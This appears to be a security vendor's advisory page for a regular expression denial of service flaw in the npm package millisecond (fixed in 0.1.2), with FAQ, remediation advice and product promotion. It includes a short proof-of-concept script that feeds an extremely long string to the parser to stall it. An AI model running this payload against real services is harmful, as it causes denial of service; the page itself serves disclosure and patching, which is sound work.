How severe is GHSA-m489-xr35-fjxr?

No CVSS score has been assigned to GHSA-m489-xr35-fjxr yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by GHSA-m489-xr35-fjxr?

GHSA-m489-xr35-fjxr affects the following packages: millisecond (npm). Ecosystems affected: npm.

How do I fix GHSA-m489-xr35-fjxr?

Update millisecond to 0.1.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-m489-xr35-fjxr is resolved across your whole dependency graph.

How do I detect GHSA-m489-xr35-fjxr in my npm dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for millisecond. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-m489-xr35-fjxr if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-m489-xr35-fjxr?

O3 pinpoints whether GHSA-m489-xr35-fjxr is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-m489-xr35-fjxr actively exploited in the wild?

No public exploit code has been indexed for GHSA-m489-xr35-fjxr yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

When was GHSA-m489-xr35-fjxr published, and has it been updated?

GHSA-m489-xr35-fjxr was published on September 22, 2021 and was last updated on September 22, 2021. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

📦 npm

Not in CISA KEV

GHSA-m489-xr35-fjxr

Fix: unshiftio/millisecond#4

GHSA-m489-xr35-fjxr is a security vulnerability in millisecond. O3 Security confirms whether GHSA-m489-xr35-fjxr is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Regular Expression Denial of Service in millisecond

Published

Sep 22, 2021

Updated

Sep 22, 2021

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Exploitation data as of Sep 22, 2021 · OSV.dev, FIRST.org (EPSS)

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

40other npm packages depend on this — each one inherits the vulnerability until it's patched upstream

millisecondnpm

147Kdownloads / week

Description

Versions of millisecond prior to 0.1.2 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.

Proof of concept

var ms = require('millisecond');
var genstr = function (len, chr) {
   var result = "";
   for (i=0; i<=len; i++) {
       result = result + chr;
   }

   return result;
}

ms(genstr(process.argv[2], "5") + " minutea");

Recommendation

Update to version 0.1.2 or later.

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
📦npm	`millisecond`	all versions	0.1.2

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for millisecond. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update millisecond to 0.1.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-m489-xr35-fjxr is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-m489-xr35-fjxr is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-m489-xr35-fjxr. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

Versions of `millisecond` prior to 0.1.2 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed. ## Proof of concept ``` var ms = require('millisecond'); var genstr = function (len, chr) { var result = ""; for (i=0; i<=len; i++) { result = result + chr; } return result; } ms(genstr(process.argv[2], "5") + " minutea"); ``` ## Recommendation Update to version 0.1.2 or later.

O3 Security · Impact-Aware SCA

Is GHSA-m489-xr35-fjxr in your dependencies?

O3 detects GHSA-m489-xr35-fjxr across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

Scan my dependencies How O3 SCA works